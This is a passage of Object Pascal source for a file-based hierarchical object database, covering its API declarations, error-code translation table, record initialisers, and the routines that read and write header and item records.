DB_: TObjectDataHandle): Boolean; function db_MoveField(const SourcerPathName, FilterName: U_String; const TargetPathName: U_String; var DB_: TObjectDataHandle): Boolean; function db_MoveHeader(const SourcerPathName, FilterName: U_String; const TargetPathName: U_String; const HeaderID: Byte; var DB_: TObjectDataHandle): Boolean; // API function db_SetCurrentRootField(const Name: U_String; var DB_: TObjectDataHandle): Boolean; function db_SetCurrentField(const pathName: U_String; var DB_: TObjectDataHandle): Boolean; // API function db_GetRootField(const Name: U_String; var Field_: TField; var DB_: TObjectDataHandle): Boolean; function db_GetField(const pathName: U_String; var Field_: TField; var DB_: TObjectDataHandle): Boolean; function db_GetPath(const FieldPos, RootFieldPos: Int64; var DB_: TObjectDataHandle; var RetPath: U_String): Boolean; // API function db_NewItem(const pathName, ItemName, ItemDescription: U_String; const ItemExtID: Byte; var Item_: TItem; var DB_: TObjectDataHandle): Boolean; function db_DeleteItem(const pathName, FilterName: U_String; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; function db_GetItem(const pathName, ItemName: U_String; const ItemExtID: Byte; var Item_: TItem; var DB_: TObjectDataHandle): Boolean; // API function db_ItemCreate(const pathName, ItemName, ItemDescription: U_String; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemFastCreate(const ItemName, ItemDescription: U_String; const fPos: Int64; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemFastInsertNew(const ItemName, ItemDescription: U_String; const FieldPos, InsertHeaderPos: Int64; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemOpen(const pathName, ItemName: U_String; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemFastOpen(const fPos: Int64; const ItemExtID: Byte; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemClose(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemUpdate(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemBodyReset(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemReName(const FieldPos: Int64; const NewItemName, NewItemDescription: U_String; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; // API function db_ItemRead(const Size: Int64; var Buffers; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemWrite(const Size: Int64; var Buffers; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; // API function db_ItemSeekPos(const fPos: Int64; var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemSeekStartPos(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemSeekLastPos(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Boolean; function db_ItemGetPos(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Int64; function db_ItemGetSize(var ItemHnd_: TItemHandle_; var DB_: TObjectDataHandle): Int64; function db_AppendItemSize(var ItemHnd_: TItemHandle_; const Size: Int64; var DB_: TObjectDataHandle): Boolean; // API function db_ExistsRootField(const Name: U_String; var DB_: TObjectDataHandle): Boolean; function db_FindFirstHeader(const pathName, FilterName: U_String; const ID: Byte; var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; function db_FindNextHeader(var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; function db_FindLastHeader(const pathName, FilterName: U_String; const ID: Byte; var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; function db_FindPrevHeader(var SenderSearch: TSearchHeader_; var DB_: TObjectDataHandle): Boolean; // API function db_FindFirstItem(const pathName, FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; function db_FindNextItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; function db_FindLastItem(const pathName, FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; function db_FindPrevItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; // API function db_FastFindFirstItem(const FieldPos: Int64; const FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; function db_FastFindNextItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; function db_FastFindLastItem(const FieldPos: Int64; const FilterName: U_String; const ItemExtID: Byte; var SenderSearch: TSearchItem_; var DB_: TObjectDataHandle): Boolean; function db_FastFindPrevItem(var SenderSearch: TSearchItem_; const ItemExtID: Byte; var DB_: TObjectDataHandle): Boolean; // API function db_FindFirstField(const pathName, FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; function db_FindNextField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; function db_FindLastField(const pathName, FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; function db_FindPrevField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; // API function db_FastFindFirstField(const FieldPos: Int64; const FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; function db_FastFindNextField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; function db_FastFindLastField(const FieldPos: Int64; const FilterName: U_String; var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; function db_FastFindPrevField(var SenderSearch: TSearchField_; var DB_: TObjectDataHandle): Boolean; // API function db_RecursionSearchFirst(const InitPath, FilterName: U_String; var SenderRecursionSearch: TRecursionSearch_; var DB_: TObjectDataHandle): Boolean; function db_RecursionSearchNext(var SenderRecursionSearch: TRecursionSearch_; var DB_: TObjectDataHandle): Boolean; var TreeMDBHeaderNameMultipleCharacter: U_SystemString = '?'; TreeMDBHeaderNameMultipleString: U_SystemString = '*'; db_FieldPathLimitChar: U_SystemString = '/\'; implementation uses PascalStrings; function Get_DB_StringL(var IOHnd: TIOHnd): Integer; begin Result := IOHnd.FixedStringL; end; function Get_DB_HeaderL(var IOHnd: TIOHnd): Integer; begin Result := (Get_DB_StringL(IOHnd) * 1) + (DB_Position_Size * 3) + (DB_Time_Size * 2) + (DB_ID_Size * 2) + (DB_Property_Size * 1); end; function Get_DB_ItemL(var IOHnd: TIOHnd): Integer; begin Result := (Get_DB_StringL(IOHnd) * 1) + (DB_ID_Size * 1) + (DB_Position_Size * 2) + (DB_DataSize_Size * 1) + (DB_Counter_Size * 1); end; function Get_DB_BlockL(var IOHnd: TIOHnd): Integer; begin Result := (DB_ID_Size * 1) + (DB_Position_Size * 4) + (DB_DataSize_Size * 1); end; function Get_DB_FieldL(var IOHnd: TIOHnd): Integer; begin Result := (Get_DB_StringL(IOHnd) * 1) + (DB_Counter_Size * 1) + (DB_Position_Size * 3); end; function Get_DB_L(var IOHnd: TIOHnd): Integer; begin Result := (DB_ReservedData_Size * 1) + (DB_FixedStringL_Size * 1) + (DB_Version_Size * 2) + (DB_Time_Size * 2) + (DB_Counter_Size * 1) + (DB_Position_Size * 4) + (DB_Level_Size * 1); end; function TranslateReturnCode(const ReturnCode: Integer): U_String; begin case ReturnCode of DB_Header_ok: Result := 'DB_Header_ok'; DB_Header_SetPosError: Result := 'DB_Header_SetPosError'; DB_Header_WritePosError: Result := 'DB_Header_WritePosError'; DB_Header_WriteNextPosError: Result := 'DB_Header_WriteNextPosError'; DB_Header_WritePrevPosError: Result := 'DB_Header_WritePrevPosError'; DB_Header_WritePubMainPosError: Result := 'DB_Header_WritePubMainPosError'; DB_Header_WriteIDError: Result := 'DB_Header_WriteIDError'; DB_Header_WritePositionIDError: Result := 'DB_Header_WritePositionIDError'; DB_Header_WriteNameError: Result := 'DB_Header_WriteNameError'; DB_Header_WriteCreateTimeError: Result := 'DB_Header_WriteCreateTimeError'; DB_Header_WriteLastEditTimeError: Result := 'DB_Header_WriteLastEditTimeError'; DB_Header_WriteUserPropertyIDError: Result := 'DB_Header_WriteUserPropertyIDError'; DB_Header_ReadPosError: Result := 'DB_Header_ReadPosError'; DB_Header_ReadNextPosError: Result := 'DB_Header_ReadNextPosError'; DB_Header_ReadPrevPosError: Result := 'DB_Header_ReadPrevPosError'; DB_Header_ReadPubMainPosError: Result := 'DB_Header_ReadPubMainPosError'; DB_Header_ReadIDError: Result := 'DB_Header_ReadIDError'; DB_Header_ReadPositionIDError: Result := 'DB_Header_ReadPositionIDError'; DB_Header_ReadNameError: Result := 'DB_Header_ReadNameError'; DB_Header_ReadCreateTimeError: Result := 'DB_Header_ReadCreateTimeError'; DB_Header_ReadLastEditTimeError: Result := 'DB_Header_ReadLastEditTimeError'; DB_Header_ReadUserPropertyIDError: Result := 'DB_Header_ReadUserPropertyIDError'; DB_Header_NotFindHeader: Result := 'DB_Header_NotFindHeader'; DB_Item_ok: Result := 'DB_Item_ok'; DB_Item_SetPosError: Result := 'DB_Item_SetPosError'; DB_Item_WriteRecDescriptionError: Result := 'DB_Item_WriteRecDescriptionError'; DB_Item_WriteRecExterIDError: Result := 'DB_Item_WriteRecExterIDError'; DB_Item_WriteFirstBlockPOSError: Result := 'DB_Item_WriteFirstBlockPOSError'; DB_Item_WriteLastBlockPOSError: Result := 'DB_Item_WriteLastBlockPOSError'; DB_Item_WriteRecBuffSizeError: Result := 'DB_Item_WriteRecBuffSizeError'; DB_Item_WriteBlockCountError: Result := 'DB_Item_WriteBlockCountError'; DB_Item_ReadRecDescriptionError: Result := 'DB_Item_ReadRecDescriptionError'; DB_Item_ReadRecExterIDError: Result := 'DB_Item_ReadRecExterIDError'; DB_Item_ReadFirstBlockPOSError: Result := 'DB_Item_ReadFirstBlockPOSError'; DB_Item_ReadLastBlockPOSError: Result := 'DB_Item_ReadLastBlockPOSError'; DB_Item_ReadRecBuffSizeError: Result := 'DB_Item_ReadRecBuffSizeError'; DB_Item_ReadBlockCountError: Result := 'DB_Item_ReadBlockCountError'; DB_Item_WriteItemBlockIDFlagsError: Result := 'DB_Item_WriteItemBlockIDFlagsError'; DB_Item_WriteCurrentBlockPOSError: Result := 'DB_Item_WriteCurrentBlockPOSError'; DB_Item_WriteNextBlockPOSError: Result := 'DB_Item_WriteNextBlockPOSError'; DB_Item_WritePrevBlockPOSError: Result := 'DB_Item_WritePrevBlockPOSError'; DB_Item_WriteDataBlockPOSError: Result := 'DB_Item_WriteDataBlockPOSError'; DB_Item_WriteDataBuffSizeError: Result := 'DB_Item_WriteDataBuffSizeError'; DB_Item_ReadItemBlockIDFlagsError: Result := 'DB_Item_ReadItemBlockIDFlagsError'; DB_Item_ReadCurrentBlockPOSError: Result := 'DB_Item_ReadCurrentBlockPOSError'; DB_Item_ReadNextBlockPOSError: Result := 'DB_Item_ReadNextBlockPOSError'; DB_Item_ReadPrevBlockPOSError: Result := 'DB_Item_ReadPrevBlockPOSError'; DB_Item_ReadDataBlockPOSError: Result := 'DB_Item_ReadDataBlockPOSError'; DB_Item_ReadDataBuffSizeError: Result := 'DB_Item_ReadDataBuffSizeError'; DB_Item_BlockPositionError: Result := 'DB_Item_BlockPositionError'; DB_Item_BlockOverrate: Result := 'DB_Item_BlockOverrate'; DB_Item_BlockReadError: Result := 'DB_Item_BlockReadError'; DB_Item_BlockWriteError: Result := 'DB_Item_BlockWriteError'; DB_Field_ok: Result := 'DB_Field_ok'; DB_Field_SetPosError: Result := 'DB_Field_SetPosError'; DB_Field_WriteHeaderFieldPosError: Result := 'DB_Field_WriteHeaderFieldPosError'; DB_Field_WriteDescriptionError: Result := 'DB_Field_WriteDescriptionError'; DB_Field_WriteCountError: Result := 'DB_Field_WriteCountError'; DB_Field_WriteFirstPosError: Result := 'DB_Field_WriteFirstPosError'; DB_Field_WriteLastPosError: Result := 'DB_Field_WriteLastPosError'; DB_Field_ReadHeaderFieldPosError: Result := 'DB_Field_ReadHeaderFieldPosError'; DB_Field_ReadDescriptionError: Result := 'DB_Field_ReadDescriptionError'; DB_Field_ReadCountError: Result := 'DB_Field_ReadCountError'; DB_Field_ReadFirstPosError: Result := 'DB_Field_ReadFirstPosError'; DB_Field_ReadLastPosError: Result := 'DB_Field_ReadLastPosError'; DB_Field_NotInitSearch: Result := 'DB_Field_NotInitSearch'; DB_Field_DeleteHeaderError: Result := 'DB_Field_DeleteHeaderError'; DB_ok: Result := 'DB_ok'; DB_RepOpenPackError: Result := 'DB_RepOpenPackError'; DB_CreatePackError: Result := 'DB_CreatePackError'; DB_WriteReservedDataError: Result := 'DB_WriteReservedDataError'; DB_WriteNameError: Result := 'DB_WriteNameError'; DB_WriteDescriptionError: Result := 'DB_WriteDescriptionError'; DB_PositionSeekError: Result := 'DB_PositionSeekError'; DB_WriteMajorVersionError: Result := 'DB_WriteMajorVersionError'; DB_WriteMinorVersionError: Result := 'DB_WriteMinorVersionError'; DB_WriteCreateTimeError: Result := 'DB_WriteCreateTimeError'; DB_WriteLastEditTimeError: Result := 'DB_WriteLastEditTimeError'; DB_WriteHeaderCountError: Result := 'DB_WriteHeaderCountError'; DB_WriteDefaultPositionError: Result := 'DB_WriteDefaultPositionError'; DB_WriteFirstPositionError: Result := 'DB_WriteFirstPositionError'; DB_WriteLastPositionError: Result := 'DB_WriteLastPositionError'; DB_WriteFixedStringLError: Result := 'DB_WriteFixedStringLError'; DB_ReadReservedDataError: Result := 'DB_ReadReservedDataError'; DB_ReadNameError: Result := 'DB_ReadNameError'; DB_ReadDescriptionError: Result := 'DB_ReadDescriptionError'; DB_ReadMajorVersionError: Result := 'DB_ReadMajorVersionError'; DB_ReadMinorVersionError: Result := 'DB_ReadMinorVersionError'; DB_ReadCreateTimeError: Result := 'DB_ReadCreateTimeError'; DB_ReadLastEditTimeError: Result := 'DB_ReadLastEditTimeError'; DB_ReadHeaderCountError: Result := 'DB_ReadHeaderCountError'; DB_ReadDefaultPositionError: Result := 'DB_ReadDefaultPositionError'; DB_ReadFirstPositionError: Result := 'DB_ReadFirstPositionError'; DB_ReadLastPositionError: Result := 'DB_ReadLastPositionError'; DB_ReadFixedStringLError: Result := 'DB_ReadFixedStringLError'; DB_RepCreatePackError: Result := 'DB_RepCreatePackError'; DB_OpenPackError: Result := 'DB_OpenPackError'; DB_ClosePackError: Result := 'DB_ClosePackError'; DB_WriteCurrentPositionError: Result := 'DB_WriteCurrentPositionError'; DB_WriteCurrentLevelError: Result := 'DB_WriteCurrentLevelError'; DB_ReadCurrentPositionError: Result := 'DB_ReadCurrentPositionError'; DB_ReadCurrentLevelError: Result := 'DB_ReadCurrentLevelError'; DB_PathNameError: Result := 'DB_PathNameError'; DB_RepeatCreateItemError: Result := 'DB_RepeatCreateItemError'; DB_OpenItemError: Result := 'DB_OpenItemError'; DB_ItemNameError: Result := 'DB_ItemNameError'; DB_RepeatOpenItemError: Result := 'DB_RepeatOpenItemError'; DB_CloseItemError: Result := 'DB_CloseItemError'; DB_ItemStructNotFindDescription: Result := 'DB_ItemStructNotFindDescription'; DB_RecursionSearchOver: Result := 'DB_RecursionSearchOver'; DB_FileBufferError: Result := 'DB_FileBufferError'; DB_CheckIOError: Result := 'DB_CheckIOError'; DB_ExceptionError: Result := 'DB_ExceptionError'; else Result := 'unknow error'; end; end; function db_GetPathCount(const StrName: U_String): Integer; begin Result := umlGetIndexStrCount(StrName, db_FieldPathLimitChar); end; function db_DeleteFirstPath(const pathName: U_String): U_String; begin Result := umlDeleteFirstStr(pathName, db_FieldPathLimitChar); end; function db_DeleteLastPath(const pathName: U_String): U_String; begin Result := umlDeleteLastStr(pathName, db_FieldPathLimitChar); end; function db_GetFirstPath(const pathName: U_String): U_String; begin Result := umlGetFirstStr(pathName, db_FieldPathLimitChar); end; function db_GetLastPath(const pathName: U_String): U_String; begin Result := umlGetLastStr(pathName, db_FieldPathLimitChar); end; procedure Init_THeader(var Header_: THeader); begin Header_.CurrentHeader := 0; Header_.NextHeader := 0; Header_.PrevHeader := 0; Header_.DataPosition := 0; Header_.CreateTime := 0; Header_.ModificationTime := 0; Header_.ID := 0; Header_.PositionID := 0; Header_.UserProperty := 0; Header_.Name := ''; Header_.State := DB_Header_ok; end; procedure Init_TItemBlock(var Block_: TItemBlock); begin Block_.ID := 0; Block_.CurrentBlockPOS := 0; Block_.NextBlockPOS := 0; Block_.PrevBlockPOS := 0; Block_.DataPosition := 0; Block_.Size := 0; Block_.State := DB_Item_ok; end; procedure Init_TItem(var Item_: TItem); begin Init_THeader(Item_.RHeader); Item_.Description := ''; Item_.ExtID := 0; Item_.FirstBlockPOS := 0; Item_.LastBlockPOS := 0; Item_.Size := 0; Item_.BlockCount := 0; Item_.CurrentBlockSeekPOS := 0; Item_.CurrentFileSeekPOS := 0; Init_TItemBlock(Item_.CurrentItemBlock); Item_.DataModification := False; Item_.State := DB_Item_ok; end; procedure Init_TField(var Field_: TField); begin Field_.UpFieldPOS := 0; Field_.Description := ''; Field_.HeaderCount := 0; Field_.FirstHeaderPOS := 0; Field_.LastHeaderPOS := 0; Init_THeader(Field_.RHeader); Field_.State := DB_Field_ok; end; procedure Init_TTMDB(var DB_: TObjectDataHandle); begin Init_TTMDB(DB_, 64 + 1); end; procedure Init_TTMDB(var DB_: TObjectDataHandle; const FixedStringL: Byte); begin InitIOHnd(DB_.IOHnd); DB_.IOHnd.FixedStringL := FixedStringL; FillPtrByte(@DB_.ReservedData[0], DB_ReservedData_Size, 0); DB_.FixedStringL := DB_.IOHnd.FixedStringL; DB_.MajorVer := 0; DB_.MinorVer := 0; DB_.CreateTime := 0; DB_.ModificationTime := 0; DB_.RootHeaderCount := 0; DB_.DefaultFieldPOS := 0; DB_.FirstHeaderPOS := 0; DB_.LastHeaderPOS := 0; DB_.CurrentFieldPOS := 0; DB_.CurrentFieldLevel := 0; DB_.IOHnd.Data := @DB_; DB_.OverWriteItem := True; DB_.AllowSameHeaderName := False; DB_.OnError := nil; DB_.OnDeleteHeader := nil; DB_.OnPrepareWriteHeader := nil; DB_.OnWriteHeader := nil; DB_.OnReadHeader := nil; DB_.OnPrepareWriteItemBlock := nil; DB_.OnWriteItemBlock := nil; DB_.OnReadItemBlock := nil; DB_.OnPrepareWriteItem := nil; DB_.OnWriteItem := nil; DB_.OnReadItem := nil; DB_.OnPrepareOnlyWriteItemRec := nil; DB_.OnOnlyWriteItemRec := nil; DB_.OnOnlyReadItemRec := nil; DB_.OnPrepareWriteField := nil; DB_.OnWriteField := nil; DB_.OnReadField := nil; DB_.OnPrepareOnlyWriteFieldRec := nil; DB_.OnOnlyWriteFieldRec := nil; DB_.OnOnlyReadFieldRec := nil; DB_.OnPrepareWriteTMDB := nil; DB_.OnWriteTMDB := nil; DB_.OnReadTMDB := nil; DB_.State := DB_ok; end; procedure Init_TFieldSearch(var FieldS_: TFieldSearch); begin FieldS_.InitFlags := False; FieldS_.StartPos := 0; FieldS_.OverPOS := 0; FieldS_.Name := ''; FieldS_.ID := 0; FieldS_.PositionID := 0; Init_THeader(FieldS_.RHeader); FieldS_.State := DB_Field_ok; end; procedure Init_TTMDBItemHandle(var ItemHnd_: TItemHandle_); begin Init_TItem(ItemHnd_.Item); ItemHnd_.Name := ''; ItemHnd_.Description := ''; ItemHnd_.CreateTime := 0; ItemHnd_.ModificationTime := 0; ItemHnd_.ItemExtID := 0; ItemHnd_.OpenFlags := False; end; procedure Init_TTMDBSearchHeader(var SearchHeader_: TSearchHeader_); begin SearchHeader_.Name := ''; SearchHeader_.ID := 0; SearchHeader_.CreateTime := 0; SearchHeader_.ModificationTime := 0; SearchHeader_.HeaderPOS := 0; SearchHeader_.CompleteCount := 0; Init_TFieldSearch(SearchHeader_.FieldSearch); end; procedure Init_TTMDBSearchItem(var SearchItem_: TSearchItem_); begin SearchItem_.Name := ''; SearchItem_.Description := ''; SearchItem_.ExtID := 0; SearchItem_.Size := 0; SearchItem_.HeaderPOS := 0; SearchItem_.CompleteCount := 0; Init_TFieldSearch(SearchItem_.FieldSearch); end; procedure Init_TTMDBSearchField(var SearchField_: TSearchField_); begin SearchField_.Name := ''; SearchField_.Description := ''; SearchField_.HeaderCount := 0; SearchField_.HeaderPOS := 0; SearchField_.CompleteCount := 0; Init_TFieldSearch(SearchField_.FieldSearch); end; procedure Init_TTMDBRecursionSearch(var RecursionSearch_: TRecursionSearch_); var i: Integer; begin Init_THeader(RecursionSearch_.ReturnHeader); Init_TField(RecursionSearch_.CurrentField); RecursionSearch_.InitPath := ''; RecursionSearch_.FilterName := ''; RecursionSearch_.SearchBuffGo := 0; for i := 0 to DB_Max_Secursion_Level do Init_TFieldSearch(RecursionSearch_.SearchBuff[i]); end; function dbHeader_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; begin Result := False; Header_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin Header_.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteHeader) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteHeader(fPos, Header_, Result); if Result then begin Header_.State := DB_Header_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteHeader) then PObjectDataHandle(IOHnd.Data)^.OnWriteHeader(fPos, Header_); exit; end; end; if umlFileSeek(IOHnd, fPos) = False then begin Header_.State := DB_Header_SetPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Header_.NextHeader) = False then begin Header_.State := DB_Header_WriteNextPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Header_.PrevHeader) = False then begin Header_.State := DB_Header_WritePrevPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Header_.DataPosition) = False then begin Header_.State := DB_Header_WritePubMainPosError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Time_Size, Header_.CreateTime) = False then begin Header_.State := DB_Header_WriteCreateTimeError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Time_Size, Header_.ModificationTime) = False then begin Header_.State := DB_Header_WriteLastEditTimeError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_ID_Size, Header_.ID) = False then begin Header_.State := DB_Header_WriteIDError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_ID_Size, Header_.PositionID) = False then begin Header_.State := DB_Header_WritePositionIDError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Property_Size, Header_.UserProperty) = False then begin Header_.State := DB_Header_WriteUserPropertyIDError; Result := False; exit; end; if umlFileWriteFixedString(IOHnd, Header_.Name) = False then begin Header_.State := DB_Header_WriteNameError; Result := False; exit; end; Header_.State := DB_Header_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteHeader) then PObjectDataHandle(IOHnd.Data)^.OnWriteHeader(fPos, Header_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Header_.State)); end; end; function dbHeader_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; begin Result := False; Header_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnReadHeader) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnReadHeader(fPos, Header_, Result); if Result then exit; end; if umlFileSeek(IOHnd, fPos) = False then begin Header_.State := DB_Header_SetPosError; Result := False; exit; end; Header_.CurrentHeader := fPos; if umlFileRead(IOHnd, DB_Position_Size, Header_.NextHeader) = False then begin Header_.State := DB_Header_ReadNextPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Header_.PrevHeader) = False then begin Header_.State := DB_Header_ReadPrevPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Header_.DataPosition) = False then begin Header_.State := DB_Header_ReadPubMainPosError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Time_Size, Header_.CreateTime) = False then begin Header_.State := DB_Header_ReadCreateTimeError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Time_Size, Header_.ModificationTime) = False then begin Header_.State := DB_Header_ReadLastEditTimeError; Result := False; exit; end; if umlFileRead(IOHnd, DB_ID_Size, Header_.ID) = False then begin Header_.State := DB_Header_ReadIDError; Result := False; exit; end; if umlFileRead(IOHnd, DB_ID_Size, Header_.PositionID) = False then begin Header_.State := DB_Header_ReadPositionIDError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Property_Size, Header_.UserProperty) = False then begin Header_.State := DB_Header_ReadUserPropertyIDError; Result := False; exit; end; if umlFileReadFixedString(IOHnd, Header_.Name) = False then begin Header_.State := DB_Header_ReadNameError; Result := False; exit; end; Header_.State := DB_Header_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteHeader) then PObjectDataHandle(IOHnd.Data)^.OnWriteHeader(fPos, Header_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Header_.State)); end; end; function dbHeader_ReadReservedRec(const fPos: Int64; var IOHnd: TIOHnd; var Header_: THeader): Boolean; var h: THeader; begin Result := dbHeader_ReadRec(fPos, IOHnd, h); Header_.CurrentHeader := h.CurrentHeader; Header_.NextHeader := h.NextHeader; Header_.PrevHeader := h.PrevHeader; Header_.DataPosition := h.DataPosition; Header_.ID := h.ID; Header_.PositionID := h.PositionID; end; function dbItem_WriteRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin Result := False; Item_.State := DB_ExceptionError; try if (IOHnd.IsOnlyRead) or (not IOHnd.IsOpen) then begin Item_.State := DB_CheckIOError; Item_.RHeader.State := DB_CheckIOError; Result := False; exit; end; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteItem) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnPrepareWriteItem(fPos, Item_, Result); if Result then begin Item_.State := DB_Item_ok; if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteItem) then PObjectDataHandle(IOHnd.Data)^.OnWriteItem(fPos, Item_); exit; end; end; if dbHeader_WriteRec(fPos, IOHnd, Item_.RHeader) = False then begin Item_.State := Item_.RHeader.State; Result := False; exit; end; if umlFileSeek(IOHnd, Item_.RHeader.DataPosition) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileWriteFixedString(IOHnd, Item_.Description) = False then begin Item_.State := DB_Item_WriteRecDescriptionError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_ID_Size, Item_.ExtID) = False then begin Item_.State := DB_Item_WriteRecExterIDError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Item_.FirstBlockPOS) = False then begin Item_.State := DB_Item_WriteFirstBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Position_Size, Item_.LastBlockPOS) = False then begin Item_.State := DB_Item_WriteLastBlockPOSError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_DataSize_Size, Item_.Size) = False then begin Item_.State := DB_Item_WriteRecBuffSizeError; Result := False; exit; end; if umlFileWrite(IOHnd, DB_Counter_Size, Item_.BlockCount) = False then begin Item_.State := DB_Item_WriteBlockCountError; Result := False; exit; end; Item_.State := DB_Item_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteItem) then PObjectDataHandle(IOHnd.Data)^.OnWriteItem(fPos, Item_); finally if not Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnError) then PObjectDataHandle(IOHnd.Data)^.OnError(TranslateReturnCode(Item_.State)); end; end; function dbItem_ReadRec(const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin Result := False; Item_.State := DB_ExceptionError; try if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnReadItem) then begin Result := False; PObjectDataHandle(IOHnd.Data)^.OnReadItem(fPos, Item_, Result); if Result then exit; end; if dbHeader_ReadRec(fPos, IOHnd, Item_.RHeader) = False then begin Item_.State := Item_.RHeader.State; Result := False; exit; end; if umlFileSeek(IOHnd, Item_.RHeader.DataPosition) = False then begin Item_.State := DB_Item_SetPosError; Result := False; exit; end; if umlFileReadFixedString(IOHnd, Item_.Description) = False then begin Item_.State := DB_Item_ReadRecDescriptionError; Result := False; exit; end; if umlFileRead(IOHnd, DB_ID_Size, Item_.ExtID) = False then begin Item_.State := DB_Item_ReadRecExterIDError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Item_.FirstBlockPOS) = False then begin Item_.State := DB_Item_ReadFirstBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Position_Size, Item_.LastBlockPOS) = False then begin Item_.State := DB_Item_ReadLastBlockPOSError; Result := False; exit; end; if umlFileRead(IOHnd, DB_DataSize_Size, Item_.Size) = False then begin Item_.State := DB_Item_ReadRecBuffSizeError; Result := False; exit; end; if umlFileRead(IOHnd, DB_Counter_Size, Item_.BlockCount) = False then begin Item_.State := DB_Item_ReadBlockCountError; Result := False; exit; end; Item_.State := DB_Item_ok; Result := True; if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnWriteItem) then PObjectDataHandle(IOHnd.Data)^.OnWriteItem(fPos, Item_); finally if not Result then if IOHnd.Data 